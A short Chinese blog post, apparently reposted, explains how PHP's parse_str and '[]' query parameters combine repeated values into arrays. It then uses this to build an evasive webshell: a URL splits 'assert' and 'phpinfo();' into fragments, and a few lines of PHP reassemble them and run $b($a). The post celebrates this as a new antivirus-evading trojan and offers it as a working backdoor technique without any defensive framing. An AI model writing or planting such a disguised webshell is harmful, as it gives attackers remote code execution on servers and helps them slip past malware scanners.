最近发现php一个很2b的字符串构造数组的方法:


<?php
$str = "a[]=1&a[]=2&b[]=3";
parse_str($str, $arr);
print_r($arr);
?>

 

以上代码返回结果为:
Array ( [a] => Array ( [0] => 1 [1] => 2 ) [b] => Array ( [0] => 3 ) )

也就是说当字符后面跟随“[]”符号,并且有多个相似结构的时候,返回的数组中会将该字符作为键名,并对应生成一个array键值,内容为该字符在字符串中等于的各个值(太绕了,看代码应该很容易理解)。

那么现在就产生一个问题,假如说一个url是这样的:

http://example.com?p1=v1&p2=v2&p3=v3&p1=v4&p2=v5

我们使用var_dump($_GET['p1'])得到的依据环境不同可能为v1或v4,如果我把p1修改为p1[]呢?
返回的将是Array ( [p1] => Array ( [0] => v1 [1] => v4 ) )

哈哈,你们已经想到了吧,我们把url修改为这样:

http://127.0.0.1/1.php?p1[]=phpinfo&p2[]=ass&p3=v3&p1[]=();&p2[]=ert

假如php代码这样写:
<?php
$a=implode("",$_GET['p1']);
$b=implode("",$_GET['p2']);
var_dump($_GET['p1']);
var_dump($_GET['p2']);
$b($a);
?> 又一种新的php免杀木马产生,见证奇迹的时刻!
by maoniu http://blog.wegeek.org/index.php/archives/28.html

源链接

Hacking more

...